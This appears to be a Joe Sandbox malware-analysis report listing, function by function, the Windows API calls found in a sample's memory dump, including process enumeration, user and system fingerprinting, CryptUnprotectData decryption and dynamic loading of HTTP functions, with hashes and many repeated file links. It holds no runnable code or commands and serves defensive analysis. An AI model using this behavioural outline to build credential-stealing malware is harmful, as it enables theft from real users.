Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: e05a84b15c3c95261414fd500bc779b16c7d8675eb77da86e08bd79f8a125a5a
Instruction ID: 35ec47289eb26957328e1c99ff3dbe6279e3de0e215918ba0f2a90d109514540
Opcode Fuzzy Hash: e05a84b15c3c95261414fd500bc779b16c7d8675eb77da86e08bd79f8a125a5a
Instruction Fuzzy Hash: A801E975E14208AFDB14DFA5C948BEDB7F9EB48700F108189A90596350D7349A40DFA1

Function 006D7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,013ED9C8,00000000,?,006E0E10,00000000,?,00000000,00000000), ref: 006D7A63
RtlAllocateHeap.NTDLL(00000000), ref: 006D7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,013ED9C8,00000000,?,006E0E10,00000000,?,00000000,00000000,?), ref: 006D7A7D
wsprintfA.USER32 ref: 006D7AB7

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: fef1ae8a982c6e45d27747cafec3fa878a4c75d86761fc8df1b0212962d2cbd7
Instruction ID: 9bab7a13d4429375154ae6cac8eeca155dfa28edae4e0c4e5c51ff6622cb90e1
Opcode Fuzzy Hash: fef1ae8a982c6e45d27747cafec3fa878a4c75d86761fc8df1b0212962d2cbd7
Instruction Fuzzy Hash: 4F115EB1E49218EFEB20DB54DC49FA9B778FB04721F10439AE91A932C0D7745A40CF92

Function 006C9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006C9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 006C9BA3
LocalFree.KERNEL32(?), ref: 006C9BD3

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 9c81b58c33af8b9278ffb6d2a85f850f0cd9bd09e41e3eb2c280847f0bed13b9
Instruction ID: 8b23fa0bef6321086a2a736505d4b41441b0b35d7407b0a50a498103b39abaab
Opcode Fuzzy Hash: 9c81b58c33af8b9278ffb6d2a85f850f0cd9bd09e41e3eb2c280847f0bed13b9
Instruction Fuzzy Hash: 6411B7B8A00209EFDB04DF94D989EAEB7B5FF88300F104598E915A7350D774AE11CFA1

Function 006D7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006C11B7), ref: 006D7880
RtlAllocateHeap.NTDLL(00000000), ref: 006D7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 006D789F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 396365291e8765f7b181eaf7de8d9f0d8d846836ab4c14e65ea04ab0b8f271bb
Instruction ID: 557860eab271a695cd9e00cb0502ae6bb4ebe5c8c990b12f9b6e18a5ab649a39
Opcode Fuzzy Hash: 396365291e8765f7b181eaf7de8d9f0d8d846836ab4c14e65ea04ab0b8f271bb
Instruction Fuzzy Hash: 6FF04FB1D58208AFC700DF98DD49BAEBBB8EB04711F10425AFA05A2780C77815048BE2

Function 006C1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 006C116A
ExitProcess.KERNEL32 ref: 006C117E

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: de7b91b60e430c9233da323c7b71e736c88589e5ba678a5612b3445cabf5875d
Instruction ID: c21b4a17929d2f6e3b96be6afac2a66f8ebb7e76c2fda1f4173075cdb74d32a6
Opcode Fuzzy Hash: de7b91b60e430c9233da323c7b71e736c88589e5ba678a5612b3445cabf5875d
Instruction Fuzzy Hash: 1DD05E74D0430CDFCB00DFE0D849AEDBBB8FB09311F000599D90562340EA305881CAA6

Function 006D9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013D6360), ref: 006D9C2D
GetProcAddress.KERNEL32(75900000,013D64E0), ref: 006D9C45
GetProcAddress.KERNEL32(75900000,013E8BF8), ref: 006D9C5E
GetProcAddress.KERNEL32(75900000,013E8EC8), ref: 006D9C76
GetProcAddress.KERNEL32(75900000,013EC808), ref: 006D9C8E
GetProcAddress.KERNEL32(75900000,013ECAD8), ref: 006D9CA7
GetProcAddress.KERNEL32(75900000,013DB478), ref: 006D9CBF
GetProcAddress.KERNEL32(75900000,013EC8B0), ref: 006D9CD7
GetProcAddress.KERNEL32(75900000,013ECA18), ref: 006D9CF0
GetProcAddress.KERNEL32(75900000,013EC988), ref: 006D9D08
GetProcAddress.KERNEL32(75900000,013EC880), ref: 006D9D20
GetProcAddress.KERNEL32(75900000,013D6400), ref: 006D9D39
GetProcAddress.KERNEL32(75900000,013D62A0), ref: 006D9D51
GetProcAddress.KERNEL32(75900000,013D65E0), ref: 006D9D69
GetProcAddress.KERNEL32(75900000,013D63E0), ref: 006D9D82
GetProcAddress.KERNEL32(75900000,013EC9B8), ref: 006D9D9A
GetProcAddress.KERNEL32(75900000,013EC850), ref: 006D9DB2
GetProcAddress.KERNEL32(75900000,013DB4A0), ref: 006D9DCB
GetProcAddress.KERNEL32(75900000,013D6420), ref: 006D9DE3
GetProcAddress.KERNEL32(75900000,013ECA90), ref: 006D9DFB
GetProcAddress.KERNEL32(75900000,013EC9A0), ref: 006D9E14
GetProcAddress.KERNEL32(75900000,013EC8C8), ref: 006D9E2C
GetProcAddress.KERNEL32(75900000,013EC8E0), ref: 006D9E44
GetProcAddress.KERNEL32(75900000,013D64A0), ref: 006D9E5D
GetProcAddress.KERNEL32(75900000,013EC8F8), ref: 006D9E75
GetProcAddress.KERNEL32(75900000,013ECA48), ref: 006D9E8D
GetProcAddress.KERNEL32(75900000,013EC958), ref: 006D9EA6
GetProcAddress.KERNEL32(75900000,013ECA60), ref: 006D9EBE
GetProcAddress.KERNEL32(75900000,013EC910), ref: 006D9ED6
GetProcAddress.KERNEL32(75900000,013EC9D0), ref: 006D9EEF
GetProcAddress.KERNEL32(75900000,013ECA30), ref: 006D9F07
GetProcAddress.KERNEL32(75900000,013EC928), ref: 006D9F1F
GetProcAddress.KERNEL32(75900000,013EC970), ref: 006D9F38
GetProcAddress.KERNEL32(75900000,013E9EE8), ref: 006D9F50
GetProcAddress.KERNEL32(75900000,013EC868), ref: 006D9F68
GetProcAddress.KERNEL32(75900000,013EC940), ref: 006D9F81
GetProcAddress.KERNEL32(75900000,013D6500), ref: 006D9F99
GetProcAddress.KERNEL32(75900000,013EC898), ref: 006D9FB1
GetProcAddress.KERNEL32(75900000,013D6520), ref: 006D9FCA
GetProcAddress.KERNEL32(75900000,013ECAC0), ref: 006D9FE2
GetProcAddress.KERNEL32(75900000,013EC9E8), ref: 006D9FFA
GetProcAddress.KERNEL32(75900000,013D6540), ref: 006DA013
GetProcAddress.KERNEL32(75900000,013D6600), ref: 006DA02B
LoadLibraryA.KERNEL32(013ECA78,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA03D
LoadLibraryA.KERNEL32(013ECA00,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA04E
LoadLibraryA.KERNEL32(013EC820,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA060
LoadLibraryA.KERNEL32(013ECAA8,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA072
LoadLibraryA.KERNEL32(013EC838,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA083
LoadLibraryA.KERNEL32(013EC7F0,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA095
LoadLibraryA.KERNEL32(013ECB08,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA0A7
LoadLibraryA.KERNEL32(013ECBB0,?,006D5CA3,006E0AEB,?,?,?,?,?,?,?,?,?,?,006E0AEA,006E0AE3), ref: 006DA0B8
GetProcAddress.KERNEL32(75FD0000,013D67E0), ref: 006DA0DA
GetProcAddress.KERNEL32(75FD0000,013ECDA8), ref: 006DA0F2
GetProcAddress.KERNEL32(75FD0000,013E8970), ref: 006DA10A
GetProcAddress.KERNEL32(75FD0000,013ECB20), ref: 006DA123
GetProcAddress.KERNEL32(75FD0000,013D6860), ref: 006DA13B
GetProcAddress.KERNEL32(73500000,013DB248), ref: 006DA160
GetProcAddress.KERNEL32(73500000,013D6880), ref: 006DA179
GetProcAddress.KERNEL32(73500000,013DB040), ref: 006DA191
GetProcAddress.KERNEL32(73500000,013ECD30), ref: 006DA1A9
GetProcAddress.KERNEL32(73500000,013ECC70), ref: 006DA1C2
GetProcAddress.KERNEL32(73500000,013D69C0), ref: 006DA1DA
GetProcAddress.KERNEL32(73500000,013D6920), ref: 006DA1F2
GetProcAddress.KERNEL32(73500000,013ECDC0), ref: 006DA20B
GetProcAddress.KERNEL32(763B0000,013D6A20), ref: 006DA22C
GetProcAddress.KERNEL32(763B0000,013D69E0), ref: 006DA244
GetProcAddress.KERNEL32(763B0000,013ECD48), ref: 006DA25D
GetProcAddress.KERNEL32(763B0000,013ECDD8), ref: 006DA275
GetProcAddress.KERNEL32(763B0000,013D6740), ref: 006DA28D
GetProcAddress.KERNEL32(750F0000,013DAE88), ref: 006DA2B3
GetProcAddress.KERNEL32(750F0000,013DB0E0), ref: 006DA2CB
GetProcAddress.KERNEL32(750F0000,013ECBF8), ref: 006DA2E3
GetProcAddress.KERNEL32(750F0000,013D6A00), ref: 006DA2FC
GetProcAddress.KERNEL32(750F0000,013D68C0), ref: 006DA314
GetProcAddress.KERNEL32(750F0000,013DAFA0), ref: 006DA32C
GetProcAddress.KERNEL32(75A50000,013ECCB8), ref: 006DA352
GetProcAddress.KERNEL32(75A50000,013D6900), ref: 006DA36A
GetProcAddress.KERNEL32(75A50000,013E89C0), ref: 006DA382
GetProcAddress.KERNEL32(75A50000,013ECBC8), ref: 006DA39B
GetProcAddress.KERNEL32(75A50000,013ECC58), ref: 006DA3B3
GetProcAddress.KERNEL32(75A50000,013D6680), ref: 006DA3CB
GetProcAddress.KERNEL32(75A50000,013D6980), ref: 006DA3E4
GetProcAddress.KERNEL32(75A50000,013ECCD0), ref: 006DA3FC
GetProcAddress.KERNEL32(75A50000,013ECD60), ref: 006DA414
GetProcAddress.KERNEL32(75070000,013D6840), ref: 006DA436
GetProcAddress.KERNEL32(75070000,013ECB80), ref: 006DA44E
GetProcAddress.KERNEL32(75070000,013ECCA0), ref: 006DA466
GetProcAddress.KERNEL32(75070000,013ECB98), ref: 006DA47F
GetProcAddress.KERNEL32(75070000,013ECB38), ref: 006DA497
GetProcAddress.KERNEL32(74E50000,013D66A0), ref: 006DA4B8
GetProcAddress.KERNEL32(74E50000,013D6760), ref: 006DA4D1
GetProcAddress.KERNEL32(75320000,013D68E0), ref: 006DA4F2
GetProcAddress.KERNEL32(75320000,013ECCE8), ref: 006DA50A
GetProcAddress.KERNEL32(6F050000,013D69A0), ref: 006DA530
GetProcAddress.KERNEL32(6F050000,013D66C0), ref: 006DA548
GetProcAddress.KERNEL32(6F050000,013D67A0), ref: 006DA560
GetProcAddress.KERNEL32(6F050000,013ECC88), ref: 006DA579
GetProcAddress.KERNEL32(6F050000,013D66E0), ref: 006DA591
GetProcAddress.KERNEL32(6F050000,013D6940), ref: 006DA5A9
GetProcAddress.KERNEL32(6F050000,013D6960), ref: 006DA5C2
GetProcAddress.KERNEL32(6F050000,013D6700), ref: 006DA5DA
GetProcAddress.KERNEL32(6F050000,InternetSetOptionA), ref: 006DA5F1
GetProcAddress.KERNEL32(6F050000,HttpQueryInfoA), ref: 006DA607
GetProcAddress.KERNEL32(74E00000,013ECC10), ref: 006DA629
GetProcAddress.KERNEL32(74E00000,013E89A0), ref: 006DA641
GetProcAddress.KERNEL32(74E00000,013ECD00), ref: 006DA659
GetProcAddress.KERNEL32(74E00000,013ECD90), ref: 006DA672
GetProcAddress.KERNEL32(74DF0000,013D6720), ref: 006DA693
GetProcAddress.KERNEL32(6F990000,013ECD78), ref: 006DA6B4
GetProcAddress.KERNEL32(6F990000,013D6800), ref: 006DA6CD
GetProcAddress.KERNEL32(6F990000,013ECAF0), ref: 006DA6E5
GetProcAddress.KERNEL32(6F990000,013ECC28), ref: 006DA6FD

Strings

InternetSetOptionA, xrefs: 006DA5E5
HttpQueryInfoA, xrefs: 006DA5FC

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 6e72681c565b3527d050edc88ead628a284e02831b4f0afccb68c1f130e0b7b5
Instruction ID: 745f60a81db847951dc00a51fe59faae5407f283fb430ec5c91b11a98730fb30
